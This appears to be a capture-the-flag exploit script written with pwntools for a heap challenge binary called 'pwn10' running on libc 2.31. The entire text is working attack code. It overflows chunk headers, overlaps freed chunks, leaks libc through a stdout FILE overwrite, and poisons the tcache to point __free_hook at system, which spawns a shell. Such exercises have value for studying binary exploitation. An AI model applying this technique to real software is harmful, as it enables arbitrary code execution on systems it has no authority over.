1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * from ctypes import * from LibcSearcher import * from pwnpy import * import sys
filename = './pwn10' url = '' gdbscript = '''
''' set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5) p = pr(url = url , filename = filename , gdbscript = gdbscript) elf = ELF(filename) libc = ELF("./libc-2.31.so")
''' 1. Add a card 2. Delete a card 3. Edit a card 4. Exit >> '''
def add(idx , size) : p.sendlineafter(">> " , b'1') p.sendlineafter('Index: ' , str(idx)) p.sendlineafter("Size: " , str(size))
def free(idx) : p.sendlineafter(">> " , b'2') p.sendlineafter('Index: ' , str(idx))
def edit(idx , size , content) : p.sendlineafter(">> " , b'3') p.sendlineafter('Index: ' , str(idx)) p.sendafter("New size of content: " , size) p.sendafter("What do you want to say: " , content)
add(0 , 0x10)
for i in range(1 , 6) : add(i , 0x80) add(6 , 0x150) add(7 , 0x10)
edit(0 , b'a' * 0x18 + p64(0x431) , b'aa') free(1) free(4) free(3)
add(1 , 0x110) edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + p64(0x200)) edit(2 , b'aaa' , b'a' * 0x80 + p64(0x361) + b'\x90\x26')
add(3 , 0x80) add(4 , 0x80)
edit(4 , b'aaa' , b'a' * 8 + p64(0xfbad1800) + p64(0) * 3 + b'\x00') libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - 0x1ec980 system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook']
free(5) free(2)
edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + p64(free_hook - 0x10)) add(2 , 0x80) add(5 , 0x80) edit(5 , b'aaa' , b'a' * 8 + p64(system_addr)) edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + b'/bin/sh\x00')
lss("free_hook") lss("system_addr") lss("libc_base") p.interactive()
|